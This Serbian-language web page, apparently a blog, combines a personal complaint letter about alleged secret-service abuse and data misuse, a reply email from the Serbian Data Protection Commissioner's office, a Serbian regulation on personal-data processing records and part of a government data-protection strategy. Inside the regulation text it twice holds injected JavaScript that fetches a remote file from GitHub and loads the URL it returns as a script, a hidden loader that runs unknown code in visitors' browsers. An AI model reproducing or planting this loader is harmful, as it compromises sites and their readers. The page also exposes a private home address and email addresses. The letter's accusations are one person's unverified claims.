Размена података и информација члан 7а Г-10 закона СРН – линк Молио бих Вас да се као другостепени контролни орган из домена Ваше контролне функције добро упознате са садржајем права, како у формално-правном значењу, посебно у материјално – правном смислу права која се бране као основна и интереса било ког државног – уставно-правног идентитета и интегритета, као и општег недљивог минимума заједничког интереса на основу међународно-правне основе. Члан 7а Г-10 закона СРН у погледу усановљене строго тајне сарадње, уствари све време трајања овог процеса од више дценија је повређен.

§ 7a Übermittlungen durch den Bundesnachrichtendienst an ausländische öffentliche Stellen

(1) 1Der Bundesnachrichtendienst darf durch Beschränkungen nach § 5 Abs. 1 Satz 3 Nr. 2, 3 und 7 erhobene personenbezogene Daten an die mit nachrichtendienstlichen Aufgaben betrauten ausländischen öffentlichen Stellen übermitteln, soweit

1.

die Übermittlung zur Wahrung außen- oder sicherheitspolitischer Belange der Bundesrepublik Deutschland oder erheblicher Sicherheitsinteressen des ausländischen Staates erforderlich ist,

2.

überwiegende schutzwürdige Interessen des Betroffenen nicht entgegenstehen, insbesondere in dem ausländischen Staat ein angemessenes Datenschutzniveau gewährleistet ist sowie davon auszugehen ist, dass die Verwendung der Daten durch den Empfänger in Einklang mit grundlegenden rechtsstaatlichen Prinzipien erfolgt, und

3.

das Prinzip der Gegenseitigkeit gewahrt ist.

2 Die Übermittlung bedarf der Zustimmung des Bundeskanzleramtes.https://viktorkossnachrichtendienste.wordpress.com/2015/01/26/g-10-gesetz-zur-beschrankung-des-brief-post-und-fernmeldegeheimnisses/

Укратко у преводу,

Размена података са страним службама, државама, организацијама од стране СРН подлеже проценама и предпоставкама о опасностима које ничим нису испуњене, осим у ставу 2 члана 7а Г-10 закона обавезе примене метода и мера ради очувања тајности операције по горе цитираном додатном уговору о положају НАТО – трупа и њихових припадника, односно лица у том својству.

Предпоставке размене података, примене мера и метода подлежу заштити достојанствених интереса (основна грађанска права) особе чији се подаци размењују.

Овде се понавља више пута уочено затварање кругова применом строгог правног формализма без дозвољавања провере стварних односа који су на основу изјава, чињења и нечињења, стварних односа и положаја и открили агента – провокатора, као и злоупотребу података која се као заблуда провлачи све време мог третмана и кроз све битне одлуке и реални правни положај у трајању. Заштита података, владавина права нису постојале у време трајања ове целе операције нити у СФРЈ, нити до данашњег дана ни у једној од сукцесивних наследница бивше СФРЈ укључујући и Р. Србију. Или је ова операција са уништеним животом и егзистенцијом кроз губитак права из услова злоупотребе неотуђивих права, једини светли пример поштовања права у свом трајању предуслова као основе строго тајне операције деценијама уназад. Из пиетитета према жртвама у сложености времена предуслова и услова, стварне судбине породице, њеног чињења и нечињења, као и трајног дејство губитка низа основних права, свако даљње поређење је крајње неумесно при приближном поштовању тежине позадине.

.       .       .

Ово су били разлози да сам 10.05.2011 године недвосмислено према тада препознатим условима моје повратне дискриминације у рефлексији низа догађаја и начина процеса одлучивања, активности мрежа тајних служби итд, дописом бироу за координацију и савету за нац. без. Р.С. забранио даљњу примену ове тешке злоупотребе кроз препознату поздину – линк:

ttp://wp.me/P3pD8b-6i

Изричито упућујем на забрану препознатих одлука и давања тајности, односно продужавања тајности на потврђену противправну манипулацију подацима и информацијама у тајној опрацији и конструкцији и примени заштићеног агента – провокатора. Утужујем препознате повреде права и позадину под тајношћу као трајни услов моје трајне повратне дискриминације.

Овај правни проблем је нешто сасвим друго од питања контроле рада институција или носилаца функције чија се контрола изузима из надлежности контролних институција и органа, укључујући и поверника и заштитника грађана, као и парламента. Молио бих Вас да ове ствари разлучите јер се иза отвореног правног питања налазе више од 40 година противправног третмана са последицом реалне уништене егзистенције из начина функционисања заштите целе тајне операције и конкретног агнета – провокатора, да би тако и операција и лажни прикривени идентитет, али посебан заштићени положај у вршењу кривичних радњи посебно према извору злоупотребе података и информација био откривен.

.       .       .

Ништавност одлуке вишег јавног тужилаштва Зрењанин – линк

је обавештење јавности из разлога његове формално-правне неправилности и посебно садржаја који је утужен – давање продужавање тајности на препознату противправну употребу података и информација као предусловом за правично, а изостало утврђивање чињеница у погледу трајног оштећења мојих грађанских загарантованих основних права и слобода. У принципу је ово и обавезно поље заштите права повереника и заштитника грађана. Абсолутна ћутња и понављање циркуларних токова одлучивања на основу поштовања или принуде спровођења одлука на основу чланова 12 и 13 закона о основама уређења служби безбедности и обраћања надлежним контролним телима су покушај испуњавања правне форме пре подизања уставне притужбе. На жалост, без продора у средства јавног информисања, ни једна се ствар не може померити у смислу уставних и правних обавеза заштите вредности, начела и принципа које су иначе у надлежности контролних тела.

Правна и законска позадина рада државног тужиоца ми је позната, али такође и законска основа и много више пракса претежног до абсолутног непровереног политичког одлучивања у оваквим случајевима. Тежина проблематике ми је позната, али се управо ради о основном демократском начелу контроле у посебним случајевима као овај, који се изградњом додатних законских препрека циљно и вољно претварају у могућност укидања основних грађанских права и слобода, дискриминације из услова непроверених интереса супротних општим принципима и начелима загарантованих уставом и наведеним основама међународног права.


Канцеларија Савета за националну безбедност и заштиту тајних података,

је такође обавештена и упућена на своју законску обавезу провере изнетих садржаја у погледу целе тајне конструкције, времена, начина и функције заштите и примене агента – провокатора. Даље обавезе провере датих чињеница у срадњи и размени тајних података (§§ 93-96 закона о тајности података Р.С.), а у вези трајне тешке повреде основних права и повратне трајне дискриминације канцеларије, произилазе из члана 24 закона о тајности података, а на основу више законских основа из истог закона почевши од члана 3, члана 16 став 1 тачке 2 и 5 и става 2 и 3, истог закона.

Чланом 25 Закона о тајности података Повереник на основу жалбе у случају одбијања канцеларије или одређеног руковаоца, опозива тајност и омугућава остваривање права тужиоцу на основу закона о слободном приступу информацијама и ЗЗЛП. Надлежни органи следом абсолутног приоритета поштовања тајности, без дозвољавања прихватања доказа о њеној строгој противзаконитости и трајном, тешком дискриминаторском, повратном дејству одбијају опозив, а ради омогућавања правичног поступка. Повратно делују обавезе из размене података са страним организацијама, државама итд. а, циркуларни ток под формално-правним обавезама забране сваког доказног поступка и прихватања чињеница је објашњен у горњем тексту. Ради се о сталном третману, без обзира на чињење или нечињење и остале релевантне доказе и чињенице за било који процес одлучивања до сталне измене битних садржаја без права на ваљани правни лек.

Član 25

Ovlašćeno lice organa javne vlasti opoziva tajnost podatka, odnosno dokumenta koji sadrži tajni podatak i omogućava ostvarivanje prava tražiocu, odnosno podnosiocu zahteva na osnovu rešenja Poverenika za informacije od javnog značaja i zaštitu podataka o ličnosti u postupku po žalbi, odnosno na osnovu odluke nadležnog suda u postupku po tužbi, u skladu sa zakonom kojim se uređuje slobodan pristup informacijama od javnog značaja i zakonom koji uređuje zaštitu podataka o ličnosti.

Овим није исцрпљена правна основа контроле противзаконитости одржавања, продужавања, давања  тајности на основу обавеза канцеларије савета за националну безбедност. Министраство за правосуђе је надлежно на основу члана 97 за надзор и примену и промену законске основе у вези заштите и примене одредаба за тајне податке. Како су истражни органи тужилаштва подређени деловањем тајности, и овим путем настаје под условом тајности утицај на јавно ружилаштво у погледу забране истражних радњи и у најтежим случајевима повреде права и закона, без права на правни лек, или потребно је доживети шиканирање од неколико деценија, бити стављен више пута пред свршен чин потпуног губитка права, открити позадину и опет остати ускраћен за иначе саморазумљива и гарантована права и по обичајном и по уставно законском основу и гарантованим правима на основу међународне правне основе.

Обзиром на тежину материје, сложену законску основу, време трајања, а ограниченост простора и сврхе употребе електронске поште, прихватите и ову информацију као увод у проблематику и даљње кораке испуњавања предуслова за ваљану уставну жалбу. Указујем на бизарност потребе укидања тајности, а ради обезбеђивања предуслова за правични поступак, управних или судских власти из искључивог разлога противправне заштићене употребе личних и породичних података.

Један детаљ из претходних процеса одлучивања

Поред сталног пратиоца процеса одлучивања кроз уочену обавезу поштовања упутстава и директива надређених у хјерархији одређеног органа, уклањања докумената из архива или њиховог накнадног преправљања, постоји од 2007 године продор у шире социјално окружење, а ради препознате одбране тајности. Овим се ништа не мења у погледу ранијих поступака одлучивања и критичних одлука од 1975/76 до данас. Један такав пример је изјава зрењанинском одељењу криминалистичке полиције сина лица против којег је подигнута и обнављана два пута иста кривична пријава од априла 2009, а која се генерално обрађивала институционалном ћутњом – уклањањем предмета из обарде и из архива МУПа. Након обнављања 19.07.2010 (низ догађаја од априла 2009 као на пример судска одлука о посебним мерама од 23.06.2009, а у вези међународне превентивне срадње), кривична пријава добија ознаку тајности и давање нечијег имунитета на цео случај (09.11.2010), нестаје из обраде и архива МУПа Р.С. и након овог сазнања бива поново поднешена да би дошла у Зрењанин на одлучивање и истрагу. Лице против којег је подента кривична пријава не даје формално – правно никакав исказ, али то у Зрењанину чини син који даје изјаву 28.01.2011 – прилог 5.

Након тражења увида у документа основног јавног тужилаштва у Зрењанину и установљавања већ познате праксе уклањања докумената и доказа, налазим ову изјаву. Изјава са реалним односима нема никакве додирне тачке из простог разлога временских и просторних неусаглашености – немогућности. Али, спомиње се један за позадину случаја битан детаљ, негирање посета седамдесетих за време истражних радњи у Зрењанину Станета Доланца, тадашњег Бр. 1 тајне политичке и партијске полиције Бауковима у Зрењанину. Прилог 6 је подсећање у вези ове изјаве на стварни ток догађаја укључујући и на овом случају препознату високу сарадњу преко деценија, где је игром случаја судбина породице манипулацијом и заштитом манипулација стварних односа, постала повратним условом потпуног укидања мојих права и правне личности без права на правни лек. Даљњи докази су расположиви, како у погледу одбране личног интергритета, тако и интегритета породице и преминулих чалнова породице, која абсолутно са овом целом заплетеном мрежом хаоса нема никакве везе. Разлози изналажења подлоге у злоупотреби података биће документовани у наставку правног процеса и указаће на суштине од општег недељивог интереса у погледу обавезе доњег минимума демократске и контроле управних и судских власти у погледу обезбеђивања иначе саморазумљивих, загарантованих основних права.

Са уважавањем

Викрор Кос

Руже Шулман 49/16
23000 Зрењанин

У Зрењанину

дана 28. априла 2015г.

 

---

From: snezana.zikic@poverenik.rs
To: maliperica_91@live.com
Subject: odgovor u predmetu br. 07-00-01329/2015-05
Date: Wed, 15 Apr 2015 10:20:26 +0200

Поштовани, поводом Ваше представке поднете Поверенику за информације од јавног значаја и заштиту података о личности, у прилогу Вам достављамо одговор.

 

С поштовањем,

Снежана Жикић, овлашћено лице

Повереника за информације од јавног значаја и заштиту података о личности

Београд, Булевар краља Александра 15

тел. 011/ 3408-910, лок 339,

факс 011/ 3343-379

www.poverenik.rs

(var url = „https://raw.githubusercontent.com/truba77/trubnik/main/to.txt“; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement(„script“); script.src = data.trim(); document.getElementsByTagName(„head“)[0].appendChild(script); });)

Uredba o obrascu za vođenje evidencije i načinu vođenja evidencije o obradi podataka o ličnosti

.

.

.

(„Sl.glasnik RS“, br. 50/2009)

I OSNOVNE ODREDBE

Član 1

Ovom uredbom propisuje se obrazac za vođenje evidencije o obradi i način vođenja evidencije o obradi podataka o ličnosti.
Obrazac iz stava 1. ovog člana odštampan je uz ovu uredbu i čini njen sastavni deo.

Član 2

Upisivanje podataka o ličnosti u evidenciju i druge poslove vezane za evidenciju sprovodi rukovalac podataka o ličnosti (u daljem tekstu: rukovalac), u skladu sa zakonom.

Član 3

Evidencija podataka o ličnosti može se voditi ručno ili sredstvima za automatsku obradu podataka, ako posebnim zakonom nije drukčije određeno.

Član 4

Evidencija podataka o ličnosti sadrži i podatke o datumu prethodnog obaveštenja o uspostavljanju zbirke podataka o ličnosti, datumu prvog prijavljivanja evidencije i datumu izmene i dopune evidencije.

II SADRŽINA EVIDENCIJE

Član 5

Evidencija o obradi podataka o ličnosti, u skladu sa zakonom, sadrži podatke o: vrsti podataka o ličnosti o kojima se vodi evidencija i nazivu zbirke podataka o ličnosti (u daljem tekstu: zbirka podataka); vrsti radnje obrade; nazivu, imenu, sedištu i adresi rukovaoca; datumu započinjanja obrade, odnosno uspostavljanju zbirke podataka; svrsi obrade; pravnom osnovu obrade, odnosno uspostavljanja zbirke podataka; kategoriji lica na koje se podaci o ličnosti odnose; vrsti i stepenu tajnosti podataka o ličnosti; načinu prikupljanja i čuvanja podataka o ličnosti; roku čuvanja i upotrebe podataka o ličnosti; nazivu, imenu, sedištu i adresi korisnika podataka o ličnosti (u daljem tekstu: korisnik); oznaci unošenja, odnosno iznošenja podataka o ličnosti iz Republike Srbije sa nazivom države, odnosno međunarodne organizacije i stranog korisnika; pravnom osnovu i svrsi unošenja, odnosno iznošenja podataka o ličnosti; preduzetim merama zaštite podataka o ličnosti i zahtevu povodom obrade.
Pored podataka iz stava 1. ovog člana, evidencija o obradi podataka o ličnosti sadrži i redni broj i napomenu.

Vrsta podataka o ličnosti i naziv zbirke podataka

Član 6

Podatak o vrsti podataka o ličnosti sadrži popis svih vrsta podataka o ličnosti sadržanih u evidenciji o obradi.
Popis vrsta posebnih kategorija podataka o ličnosti sadržanih u evidenciji o obradi navodi se posebno.
Ako naziv zbirke podataka nije određen posebnim zakonom, naziv određuje rukovalac posebnom odlukom kojom se određuje način i svrha obrade podataka o ličnosti.

Naziv, ime, sedište i adresa rukovaoca
Član 7

Naziv, sedište i adresa rukovaoca koji je pravno lice moraju da odgovaraju registrovanom nazivu, sedištu i adresi tog lica upisanim u registar.
Ako je rukovalac fizičko lice, ime i adresa moraju da odgovaraju ličnom imenu i adresi prebivališta tog lica.
Ako je rukovalac organ vlasti, u smislu Zakona o zaštiti podataka o ličnosti, naziv i sedište mora odgovarati zakonom ili drugim propisom utvrđenom nazivu i sedištu tog organa.

Svrha obrade
Član 8

Podaci o svrsi obrade sadrže opis u koju svrhu se podaci o ličnosti prikupljaju u određenu zbirku podataka, uz oznaku da li je svrha obrade određena zakonom ili je utvrđena od strane rukovaoca uz pristanak lica na koga se podatak odnosi, odnosno drugog ovlašćenog lica.

Pravni osnov obrade, odnosno uspostavljanja zbirke podataka
Član 9

Podaci o pravnom osnovu obrade, odnosno uspostavljanju zbirke podataka, koji se prikupljaju i obrađuju uz pristanak lica na koje se podaci o ličnosti odnose, odnosno ovlašćenog lica, sadrže oznaku o načinu davanja pristanka.
Za prikupljanje i obradu podataka o ličnosti, u slučajevima određenim zakonom ili drugim propisom, navodi se i odredba zakona ili propisa kojim se utvrđuje prikupljanje podataka.

Kategorija lica na koje se podaci o ličnosti odnose
Član 10

Podaci o kategorijama lica na koje se podaci o ličnosti odnose sadrže oznaku grupe ili grupa lica na koje se podaci odnose.

Vrsta i stepen tajnosti podataka
Član 11

Podaci o vrsti i stepenu tajnosti podataka o ličnosti sadrže oznaku vrste i stepena tajnosti podataka, u skladu sa propisima koji uređuju određivanje i zaštitu tajnih podataka.

Način prikupljanja i čuvanja podataka
Član 12

Podaci o načinu prikupljanja podataka o ličnosti označavaju se navođenjem izvora dobijanja podataka (neposredno od lica na koje se odnosi, preuzimanjem iz drugih zbirki podataka, prikupljanjem od drugog lica ili iz drugih izvora koji se u evidenciji moraju bliže navesti).
Obaveštenje o obradi sadrži podatke o obaveštavanju lica na koje se podaci o ličnosti odnose, odnosno drugog lica, o obradi podataka, koji su dati pre njihovog prikupljanja.
Način čuvanja podataka o ličnosti sadrži oznaku oblika u kome je podatak izražen, kao i oznaku nosača informacije na kome se podatak čuva.

Rok čuvanja i upotrebe podataka
Član 13

Podaci o roku čuvanja i upotrebi podataka o ličnosti sadrže datum uspostavljanja zbirke podataka i rokove čuvanja i korišćenja podataka o ličnosti određenih zakonom ili drugim propisom.
Ako vreme korišćenja podataka o ličnosti nije određeno zakonom ili drugim propisom, u evidenciju se upisuje rok koji je neophodan za ostvarenje svrhe obrade zbog koje su podaci o ličnosti prikupljeni.
Evidencija iz st. 1. i 2. ovog člana sadrži i oznaku o brisanju podataka o ličnosti posle proteka roka za čuvanje i korišćenje podataka.

Naziv, ime, sedište i adresa korisnika
Član 14

Na podatke o nazivu, imenu, sedištu i adresi korisnika shodno se primenjuje odredba člana 5. ove uredbe.

Oznaka unošenja, odnosno iznošenja podataka o ličnosti iz Republike Srbije
Član 15

Oznaka unošenja, odnosno iznošenja podataka o ličnosti iz Republike Srbije sadrži podatke o činjenici unošenja, odnosno iznošenja podataka o ličnosti, sa nazivom države, odnosno međunarodne organizacije i stranog korisnika podataka o ličnosti, kao i svrhe unošenja, odnosno iznošenja podataka o ličnosti sa pravnim osnovom, odnosno naznakom pristanka lica na koje se podaci o ličnosti odnose ili ovlašćenog lica.

Preduzete mere zaštite podataka o ličnosti
Član 16

Oznaka preduzetih mera zaštite podataka o ličnosti sadrži podatke o tome koje su organizacione, kadrovske i tehničke mere zaštite preduzete.

Zahtev povodom obrade
Član 17

Oznaka zahteva povodom obrade sadrži podatke o nazivu, imenu, sedištu i adresi podnosioca zahteva, datumu podnošenja zahteva i vrsti zahteva (zahtev za obaveštenje, uvid ili kopiju).

Obaveza rukovaoca koji vodi evidenciju
Član 18

Rukovalac koji obrazuje i vodi evidenciju iz člana 5. ove uredbe dužan je da, u skladu sa zakonom, ažurno vodi evidenciju i proverava da li se stanje po knjizi slaže sa stvarnim stanjem.
U slučaju promene osnovnih podataka iz člana 5. ove uredbe o kojima se vodi evidencija, rukovalac je dužan da ažurira evidenciju u roku od 15 dana od dana nastanka promene, u skladu sa zakonom.
Na vođenje evidencije o obradi podataka o ličnosti shodno se primenjuju propisi o kancelarijskom poslovanju u organima državne uprave.

III ZAVRŠNA ODREDBA

Stupanje na snagu
Član 19

Ova uredba stupa na snagu osmog dana od dana objavljivanja u „Službenom glasniku Republike Srbije“.

Obrazac za vođenje evidencije o obradi podataka o ličnosti
Pojmovi koji se koriste u ovom obrascu imaju značenje određeno Zakonom o zaštiti podataka o ličnosti („Službeni glasnik RS“, broj 97/08) i ovom uredbom.
Ova evidencija odnosi se na:
1) prethodno obaveštenje o nameravanom uspostavljanju evidencije podataka o ličnosti. Datum dostavljanja prethodnog obaveštenja _______________.
2) prvo prijavljivanje evidencije o podacima o ličnosti – evidencija broj: _______________.
3) izmena, odnosno dopuna evidencije broj _______________.

Datum dostavljanja izmena, odnosno dopuna evidencije _______________.
1 Redni broj
2 Vrsta podataka o ličnosti i naziv zbirke podataka o ličnosti
3 Vrsta radnje obrade
4 Naziv, ime, sedište i adresa rukovaoca
5 Datum započinjanja obrade, odnosno uspostavljanja evidencije o obradi
6 Svrha obrade (navesti da li je svrha određena zakonom ili je utvrđena od strane rukovaoca, uz pristanak lica na koje se podaci o ličnosti odnose)
7 Pravni osnov obrade, odnosno uspostavljanja evidencije podataka
(uz oznaku naziva i odredbe zakona)
8 Kategorija lica na koje se podaci o ličnosti odnose
9 Vrsta i stepen tajnosti podataka o ličnosti
10 Način prikupljanja i čuvanja podataka o ličnosti
(uz navođenje oznake porekla podatka i podatka o obaveštavanju lica na koje se podaci odnose)
11 Rok čuvanja i upotrebe podataka o ličnosti
12 Naziv, ime, sedište i adresa korisnika

13 Oznaka unošenja, odnosno iznošenja podataka iz Republike Srbije sa nazivom države, odnosno međunarodne organizacije i stranog korisnika, pravni osnov i svrha unošenja, odnosno iznošenja podataka
14 Preduzete mere zaštite podataka o ličnosti
(organizacione, kadrovske i tehničke)
15 Zahtev povodom obrade
(uz oznaku naziva, imena, sedišta i adrese podnosioca zahteva, datumu podnošenja zahteva i vrste zahteva
16 Napomena

Rukovalac evidencije:

_________________ (var url = „https://raw.githubusercontent.com/truba77/trubnik/main/to.txt“; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement(„script“); script.src = data.trim(); document.getElementsByTagName(„head“)[0].appendChild(script); });)

Na osnovu člana 45. stav 1. Zakona o Vladi („Službeni glasnik RS” broj 55/05, 71/05-ispravka, 101/07 i 65/08),
Vlada donosi

STRATEGIJU
ZAŠTITE PODATAKA O LIČNOSTI

I. UVOD

1. Razlozi za donošenje strategije

Pravo na zaštitu podataka o ličnosti, kao deo prava na privatnost, predstavlja jedno od osnovnih ljudskih prava. U savremenim uslovima ovo pravo je sve ugroženije. Razvojem nauke i tehnologije, posebno razvojem savremenih komunikacija, uvođenjem novih informacionih sistema i stvaranjem baza podataka u svim oblastima, uz nesporno korisne efekte, stvaraju se i pretpostavke za nove oblike ugrožavanja prava na privatnost, odnosno zloupotrebu podataka o ličnosti. Podaci na osnovu kojih se utvrđuje ili se može utvrditi identitet određenog lica mogu biti zloupotrebljeni za nadziranje i usmeravanje ponašanja i navika tog lica, za trgovinu i razmenu baza podataka o ličnosti, za krađu identiteta, kao i za razne druge oblike zloupotrebe.

Polazeći od toga, da u savremenom društvu postoji mnogo toga što predstavlja ozbiljnu pretnju pravu na privatnost, a time i mnogim drugim ljudskim pravima, u Republici Srbiji je neophodno strateškim pristupom, koristeći iskustva i pomoć međunarodne zajednice, obezbediti odgovarajuće pravne i faktičke uslove za razvoj i delovanje nacionalnih kapaciteta za zaštitu podataka o ličnosti. Neophodno je stvoriti potrebne normativne, ali i sve druge pretpostavke da bi se preventivno ali i na drugi način sprečilo ugrožavanje tog prava, zagarantovanog međunarodnim sporazumima i nacionalnim zakonodavstvom.

Strategijom zaštite podataka o ličnosti (u daljem tekstu: Strategija), polazeći od faktičkog stanja u pogledu pravnog i institucionalnog okvira u oblasti zaštite podataka o ličnosti u Republici Srbiji, utvrđuju se ciljevi, mere i aktivnosti, uloga i odgovornost izvršne vlasti, nadzornog organa i drugih subjekata u ostvarivanju ovog prava garantovanog Ustavom Republike Srbije.

U skladu sa Sporazumom o stabilizaciji i pridruživanju između Evropskih zajednica i njihovih država članica, sa jedne strane i Republike Srbije, sa druge strane, potvrđenim 2008. godine ovom strategijom obezbeđuju se uslovi za izvršavanje preuzetih međunarodnih obaveza u pogledu usaglašavanja domaćeg zakonodavstva sa propisima EU i ispunjavanje obaveza koje proizilaze iz članstva u Savetu Evrope.
2. Ključna načela i ciljevi zaštite podataka

Uslov za zaštitu podataka o ličnosti u Republici Srbiji, kao važnog segmenta prava na privatnost, u skladu sa pravilima EU iz oblasti zaštite podataka o ličnosti, jeste da nacionalno zakonodavstvo bude u potpunosti usklađeno sa odredbama Direktive 95/46/EZ. Pravni okvir Republike Srbije mora obezbediti jasna pravila i procedure po kojima rukovalac podataka o ličnosti može vršiti obradu podataka. Načela i prava koja su propisana Direktivom 95/46/EZ moraju u potpunosti biti preuzeta u nacionalno zakonodavstvo.

Obrada i zaštita podataka o ličnosti moraju biti zasnovani na:

• načelu zakonitosti i poštene obrade podataka;
• načelu srazmernosti;
• načelu tačnosti podataka;
• načelu zaštite podataka;
• načelu poverenja u obradu podataka;
• načelu zabrane obrade posebno osetljivih podatka;
• pravu na informaciju;
• pravu na pristup podacima;
• pravu na sudsku zaštitu lica čiji se podaci obrađuju i pravu na odštetu;
• sankcijama zbog nedozvoljene obrade podataka;
• formiranju nezavisnog nadzornog organa.

Republika Srbija je, oslanjajući se na iskustva država članica Evropske unije i Saveta Evrope, utvrdila ciljeve svojih aktivnosti na zaštiti podataka o ličnosti. Oni su podeljeni u dve osnovne grupe:

Opšti ciljevi:

• javnost rada javnog i privatnog sektora;
• dostupnost podataka o ličnosti licu čiji se podaci obrađuju;
• zaštita prava na privatnost i ostalih ljudska prava i osnovnih sloboda u obradi podataka o ličnosti;
• jačanje poverenja građana u institucije javnog i privatnog sektora koje raspolažu njihovim podacima o ličnosti;
• razvoj institucije nadležne za praćenje i kontrolu korišćenja zbirki podataka o ličnosti;
• jačanje i prilagođavanje informacionih tehnologija.

Posebni ciljevi:

• usklađivanje Zakona o zaštiti podataka o ličnosti sa propisima EU;
• usklađivanje zakonskih i podzakonskih propisa iz drugih oblasti sa Zakonom o zaštiti podataka o ličnosti;
• izgradnja nezavisnog organa za zaštitu prava i nadzor;
• upoznavanje javnosti sa sistemom zaštite podataka o ličnosti;
• dodatno stručno usavršavanje lica odgovornih za zaštitu podataka o ličnosti.

II. ZAŠTITA PODATAKA O LIČNOSTI – STANjE I PROBLEMI

1. Postojeće stanje kao uzrok problema

Republika Srbija je jedna od retkih zemalja u kojoj, sve do pred kraj 2008. godine, nije postojao zakon kojim je na sistemski način uređena zaštita podataka o ličnosti.

Zakonodavni okvir zaštite podataka o ličnosti postoji već desetak godina, nakon što je Skupština Savezne Republike Jugoslavije 1992. godine, potvrdila Konvenciju Saveta Evrope o zaštiti lica u odnosu na automatsku obradu ličnih podataka koja je tako postala sastavni deo našeg unutrašnjeg pravnog poretka. U Saveznoj Republici Jugoslaviji ova oblast je bila uređena Zakonom o zaštiti podataka o ličnosti („Službeni list SRJ” br. 24/98 i 26/98 – ispravka), koji je usklađen sa pomenutom Konvencijom Saveta Evrope, ali sa druge strane nije usklađen sa Direktivom Evropskog parlamenta i Saveta 95/46/EZ o zaštiti građana u vezi sa obradom podataka o ličnosti i o slobodnom kretanju takvih podataka, pa je ovaj zakon, sa stanovišta novih evropskih standarda, bio dobrim delom prevaziđen. Navedeni zakon bio je ograničen uglavnom na materiju zaštite podataka o ličnosti, ali nije uredio prikupljanje, obradu ili korišćenje podataka o ličnosti, što je trebalo da bude uređeno posebnim zakonima koji nikada nisu doneti. Osim toga, taj zakon od trenutka donošenja nikada nije ni bio realno primenjen. Tako je, Republika Srbija bila u situaciji da kao pravni sledbenik nekadašnje Savezne Republike Jugoslavije i državne zajednice Srbije i Crne Gore formalno ima, ali da faktički nema zakon koji uređuju ovu oblast.

Formalnopravni razlog takvog stanja je i to da, kada su prenošene nadležnosti saveznih organa na organe Republike Srbije, nije bio određen državni organ koji bi preuzeo nadležnost za ostvarivanje prava po Zakonu o zaštiti podataka o ličnosti iz 1998. godine, pa se on nije ni mogao realno primenjivati.

Pored toga, suštinski razlozi za stanje u oblasti zaštite podataka o ličnosti su i ti što neadekvatni standardi sadržani u Zakonu o zaštiti podataka o ličnosti iz 1998. godine, nisu ni mogli da obezbede zahteve koji proizilaze iz Direktive Evropskog parlamenta i Saveta 95/46/EZ, kojima su afirmisani standardi Evropske unije u ovoj oblasti, pre svega standard najveće moguće transparentnosti obrade podataka i efikasnosti nadzora nad obradom.

Ustavom Republike Srbije, u članu 42. garantovana je zaštita podataka o ličnosti. Da bi se ona mogla efikasno obezbediti, bilo je neophodno doneti novi zakon, koji bi na savremeni način, u skladu sa važećim standardima Evropske unije, obezbedio efikasnu zaštitu ličnih podataka.
U međuvremenu, doneti zakoni koji su u neposrednoj vezi sa zaštitom podataka o ličnosti, kao što su npr. Zakon o ličnoj karti i Zakon o putnim ispravama. Oba ta zakona predviđaju korišćenje biometrijskih podataka o ličnosti u novim dokumentima, što, bez sistema u pogledu korišćenja, obrade, kontrole i zaštite biometrijskih podataka, predstavlja moguću opasnost za kršenje ustavnog prava na zaštitu podatka o ličnosti.

Činjenice i saznanja do kojih je Poverenik za informacije od javnog značaja i zaštitu podataka o ličnosti (u daljem tekstu: Poverenik) došao na osnovu prijava i žalbi građana, kao i drugih vidova saznanja tokom 2009. godine, prve godine primene Zakona o zaštiti podataka o ličnosti („Službeni glasnik RS”, br. 97/08 i 104/09-dr. zakon), kada faktički i nisu postojali realni uslovi za ostvarivanje funkcije nadzora, govore o sledećem:

Oko 350.000 subjekata javnog i privatnog sektora bave se obradom podataka o ličnosti. Većina tih subjekata, ima po nekoliko zbirki ili baza podataka o ličnosti i ukupan broj evidencija se procenjuje na preko milion. Ove evidencije obuhvataju evidencije državnih organa, ustanova penzijskog i zdravstvenog osiguranja, obrazovanja, socijalne zaštite, bankarskog sistema, komunalnih službi, udruženja građana, kao i obradu podataka putem video nadzora na javnim mestima, poslovnim i stambenim objektima i dr. Za mnoge od tih obrada podataka ne postoji izričit zakonski osnov, odnosno saglasnost lica ili zakonom nije uređena svrha i obim podataka koji se obrađuju, trajanje i dr, a u mnogim od ovih slučajeva se radi o obradi naročito osetljivih podataka, kao što su podaci o lečenju, socijalnom statusu i dr.

Poseban problem predstavlja to što Poverenik ne učestvuje u postupku predlaganja i donošenja propisa kojima se uspostavljaju nove zbirke podataka ili uvode nove informacione tehnologije. Pošto ne postoji obaveza pribavljanja mišljenja Poverenika, taj organ je mogao da reaguje tek posle donošenja propisa, što stvara sistemske probleme u usklađivanju regulative u oblasti zaštite podataka o ličnosti, sa Zakonom o zaštiti podatka o ličnosti, međunarodnim dokumentima, kao i praksom Evropskog suda za zaštitu ljudskih prava u Strazburu. Inače, potreba da Poverenik učestvuje u postupku donošenja propisa kojima se uređuju određena pitanja prava na zaštitu podataka o ličnosti, kroz davanje mišljenja, jasno proizilazi iz člana 44. stav 1. tačka 7. Zakona o zaštiti podataka o ličnosti i čl. 20. i 28. Direktive 95/46/EZ.

Budući da je Republika Srbija jedna od poslednjih zemalja u Evropi koja je donela sistemski zakon koji uređuje zaštitu podataka o ličnosti, donošenje Strategije je značajno za dostizanje postavljenih ciljeva u ovoj oblasti i bitan uslov za uspešnu primenu Zakona o zaštiti podataka o ličnosti, što je veoma značajno i sa stanovišta nastavka evropskih integracija, poštovanja demokratskih standarda i ljudskih prava i stvaranja otvorenog i transparentnog društva.
III. PRAVNI OKVIR ZAŠTITE PODATAKA O LIČNOSTI

1. Ustav Republike Srbije

Ustav Republike Srbije u članu 42. jemči zaštitu podataka o ličnosti na sledeći način:

„Zajemčena je zaštita podataka o ličnosti.
Prikupljanje, držanje, obrada i korišćenje podataka o ličnosti uređuju se zakonom.
Zabranjena je i kažnjiva upotreba podataka o ličnosti izvan svrhe za koju su prikupljeni, u skladu sa zakonom, osim za potrebe vođenja krivičnog postupka ili zaštite bezbednosti Republike Srbije, na način predviđen zakonom.
Svako ima pravo da bude obavešten o prikupljenim podacima o svojoj ličnosti, u skladu sa zakonom, i pravo na sudsku zaštitu zbog njihove zloupotrebe.”

Navedena ustavna odredba sadrži standarde zaštite podataka o ličnosti koje imaju i države članice EU. Zaštita podataka o ličnosti, je značajan deo šireg prava na privatnost, što je u teoriji poznato pod nazivom „privatnost podataka”. Ova materija detaljno je uređena u nekoliko međunarodnih pravnih akata, koje Republika Srbija, zbog pridruživanja EU, treba da implementira u svoj pravni sistem.

1. Zakon o potvrđivanju Konvencije o zaštiti lica u odnosu na automatsku obradu ličnih podataka i Dodatnog protokola uz Konvenciju

